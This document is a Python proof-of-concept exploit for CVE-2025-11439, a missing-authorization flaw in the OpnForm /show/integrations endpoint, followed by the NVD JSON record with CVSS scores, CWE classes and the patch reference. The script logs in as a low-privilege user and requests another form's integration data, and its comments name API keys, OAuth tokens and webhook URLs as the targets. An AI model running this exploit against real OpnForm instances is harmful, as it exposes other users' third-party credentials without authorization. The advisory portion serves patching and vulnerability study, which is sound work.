CVE-2025-11439

# CVE-2025-11439 PoC - OpnForm Missing Authorization in /show/integrations # Vulnerability: Broken Access Control - Missing Authorization Check # Affected: JhumanJ OpnForm <= 1.9.3 import requests TARGET_URL = "http://target-opnform-instance.com" # Attacker credentials (low privilege account) ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "password123" # Target form/integration ID (can be enumerated or guessed) TARGET_FORM_ID = 1 # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Access the vulnerable endpoint without proper authorization # The /show/integrations endpoint fails to verify resource ownership vuln_url = f"{TARGET_URL}/show/integrations" params = {"form_id": TARGET_FORM_ID} response = session.get(vuln_url, params=params) print(f"[*] Vulnerable endpoint response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Step 3: Extract sensitive integration data (API keys, webhook URLs, etc.) if response.status_code == 200: print("[+] Successfully accessed unauthorized integration data!") # Parse and extract sensitive information from response # Such as: API keys, OAuth tokens, webhook URLs, third-party service credentials else: print("[-] Exploit failed or target is patched.")

{"cve": {"id": "CVE-2025-11439", "sourceIdentifier": "[email protected]", "published": "2025-10-08T07:15:32.597", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in JhumanJ OpnForm up to 1.9.3. This issue affects some unknown processing of the file /show/integrations. Performing manipulation results in missing authorization. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The patch is named 11d97d78f2de2cb49f79baed6bde8b611ec1f384. It is recommended to apply a patch to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jhumanj:opnform:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.3", "matchCriteriaId": "C896A041-D9C4-42F0-9477-C57E07D6EFF6"}]}]}], "references": [{"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.reuyi9lwvpj", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/JhumanJ/OpnForm/pull/900/commits/11d97d78f2de2cb49f79baed6bde8b611ec1f384", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.327376", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327376", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.666880", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}